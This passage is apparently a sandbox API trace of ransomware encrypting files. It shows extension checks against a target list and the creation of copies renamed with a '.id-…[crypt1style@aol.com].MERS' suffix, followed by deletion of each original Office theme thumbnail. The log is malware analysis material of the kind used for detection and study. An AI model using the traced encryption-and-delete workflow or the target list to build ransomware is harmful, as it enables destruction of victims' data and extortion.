(lpString1=".zip", lpString2=".PNG") returned 1 [0047.921] lstrlenW (lpString=".rar") returned 4 [0047.921] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.921] lstrlenW (lpString=".bz2") returned 4 [0047.921] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.921] lstrlenW (lpString=".7z") returned 3 [0047.921] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.921] lstrlenW (lpString=".dbf") returned 4 [0047.921] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.921] lstrlenW (lpString=".1cd") returned 4 [0047.921] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.921] lstrlenW (lpString=".jpg") returned 4 [0047.921] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.970] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.970] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.347] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20575) returned 1 [0048.347] CloseHandle (hObject=0x1d4) returned 1 [0048.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0048.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.348] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.348] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.348] GetLastError () returned 0x0 [0048.349] ReadFile (in: hFile=0x1d4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x505f, lpOverlapped=0x0) returned 1 [0048.422] WriteFile (in: hFile=0x180, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0048.424] ReadFile (in: hFile=0x1d4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.424] WriteFile (in: hFile=0x180, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.424] SetEndOfFile (hFile=0x180) returned 1 [0048.424] CloseHandle (hObject=0x180) returned 1 [0048.424] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.424] SetEndOfFile (hFile=0x1d4) returned 1 [0048.425] CloseHandle (hObject=0x1d4) returned 1 [0048.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.426] lstrlenW (lpString=".doc") returned 4 [0048.426] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.426] lstrlenW (lpString=".docx") returned 5 [0048.426] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.426] lstrlenW (lpString=".pdf") returned 4 [0048.426] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.426] lstrlenW (lpString=".xls") returned 4 [0048.426] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.426] lstrlenW (lpString=".xlsx") returned 5 [0048.426] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.426] lstrlenW (lpString=".ppt") returned 4 [0048.426] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.426] lstrlenW (lpString=".zip") returned 4 [0048.426] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.426] lstrlenW (lpString=".rar") returned 4 [0048.426] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.426] lstrlenW (lpString=".bz2") returned 4 [0048.426] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.426] lstrlenW (lpString=".7z") returned 3 [0048.426] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.427] lstrlenW (lpString=".dbf") returned 4 [0048.427] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.427] lstrlenW (lpString=".1cd") returned 4 [0048.427] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.427] lstrlenW (lpString=".jpg") returned 4 [0048.427] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.427] lstrlenW (lpString=".doc") returned 4 [0048.427] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.427] lstrlenW (lpString=".docx") returned 5 [0048.427] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.427] lstrlenW (lpString=".pdf") returned 4 [0048.427] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.427] lstrlenW (lpString=".xls") returned 4 [0048.427] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.428] lstrlenW (lpString=".xlsx") returned 5 [0048.428] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.428] lstrlenW (lpString=".ppt") returned 4 [0048.428] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.428] lstrlenW (lpString=".zip") returned 4 [0048.428] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.428] lstrlenW (lpString=".rar") returned 4 [0048.428] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.428] lstrlenW (lpString=".bz2") returned 4 [0048.428] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.428] lstrlenW (lpString=".7z") returned 3 [0048.428] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.428] lstrlenW (lpString=".dbf") returned 4 [0048.428] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.428] lstrlenW (lpString=".1cd") returned 4 [0048.428] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0048.428] lstrlenW (lpString=".jpg") returned 4 [0048.428] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.428] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.429] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.432] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=25106) returned 1 [0048.432] CloseHandle (hObject=0x17c) returned 1 [0048.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0048.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.433] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.433] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.433] GetLastError () returned 0x0 [0048.433] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x6212, lpOverlapped=0x0) returned 1 [0048.443] WriteFile (in: hFile=0x1a8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0048.445] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.445] WriteFile (in: hFile=0x1a8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.445] SetEndOfFile (hFile=0x1a8) returned 1 [0048.445] CloseHandle (hObject=0x1a8) returned 1 [0048.445] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.445] SetEndOfFile (hFile=0x17c) returned 1 [0048.446] CloseHandle (hObject=0x17c) returned 1 [0048.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.447] lstrlenW (lpString=".doc") returned 4 [0048.447] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.447] lstrlenW (lpString=".docx") returned 5 [0048.447] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.447] lstrlenW (lpString=".pdf") returned 4 [0048.447] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.447] lstrlenW (lpString=".xls") returned 4 [0048.447] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.447] lstrlenW (lpString=".xlsx") returned 5 [0048.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.447] lstrlenW (lpString=".ppt") returned 4 [0048.447] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.447] lstrlenW (lpString=".zip") returned 4 [0048.447] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.447] lstrlenW (lpString=".rar") returned 4 [0048.447] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.448] lstrlenW (lpString=".bz2") returned 4 [0048.448] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString=".7z") returned 3 [0048.448] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.448] lstrlenW (lpString=".dbf") returned 4 [0048.448] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.448] lstrlenW (lpString=".1cd") returned 4 [0048.448] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.448] lstrlenW (lpString=".jpg") returned 4 [0048.448] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.448] lstrlenW (lpString=".doc") returned 4 [0048.448] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString=".docx") returned 5 [0048.448] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.448] lstrlenW (lpString=".pdf") returned 4 [0048.448] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.448] lstrlenW (lpString=".xls") returned 4 [0048.448] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.448] lstrlenW (lpString=".xlsx") returned 5 [0048.448] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.448] lstrlenW (lpString=".ppt") returned 4 [0048.448] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.449] lstrlenW (lpString=".zip") returned 4 [0048.449] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.449] lstrlenW (lpString=".rar") returned 4 [0048.449] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.449] lstrlenW (lpString=".bz2") returned 4 [0048.449] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.449] lstrlenW (lpString=".7z") returned 3 [0048.449] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.449] lstrlenW (lpString=".dbf") returned 4 [0048.449] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.449] lstrlenW (lpString=".1cd") returned 4 [0048.449] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.449] lstrlenW (lpString=".jpg") returned 4 [0048.449] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.449] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.449] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.450] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=32403) returned 1 [0048.450] CloseHandle (hObject=0x17c) returned 1 [0048.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0048.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.451] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.451] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.456] GetLastError () returned 0x0 [0048.456] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0048.457] WriteFile (in: hFile=0x1a8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0048.459] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.459] WriteFile (in: hFile=0x1a8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.459] SetEndOfFile (hFile=0x1a8) returned 1 [0048.459] CloseHandle (hObject=0x1a8) returned 1 [0048.460] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.460] SetEndOfFile (hFile=0x17c) returned 1 [0048.461] CloseHandle (hObject=0x17c) returned 1 [0048.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.461] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.461] lstrlenW (lpString=".doc") returned 4 [0048.461] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.462] lstrlenW (lpString=".docx") returned 5 [0048.462] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.462] lstrlenW (lpString=".pdf") returned 4 [0048.462] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.462] lstrlenW (lpString=".xls") returned 4 [0048.462] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.462] lstrlenW (lpString=".xlsx") returned 5 [0048.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.462] lstrlenW (lpString=".ppt") returned 4 [0048.462] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.462] lstrlenW (lpString=".zip") returned 4 [0048.462] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.462] lstrlenW (lpString=".rar") returned 4 [0048.462] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.462] lstrlenW (lpString=".bz2") returned 4 [0048.462] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.462] lstrlenW (lpString=".7z") returned 3 [0048.462] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.462] lstrlenW (lpString=".dbf") returned 4 [0048.462] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.462] lstrlenW (lpString=".1cd") returned 4 [0048.462] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.462] lstrlenW (lpString=".jpg") returned 4 [0048.463] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.463] lstrlenW (lpString=".doc") returned 4 [0048.463] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.463] lstrlenW (lpString=".docx") returned 5 [0048.463] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.463] lstrlenW (lpString=".pdf") returned 4 [0048.463] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.463] lstrlenW (lpString=".xls") returned 4 [0048.463] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.463] lstrlenW (lpString=".xlsx") returned 5 [0048.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.463] lstrlenW (lpString=".ppt") returned 4 [0048.463] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.463] lstrlenW (lpString="C:\\Program 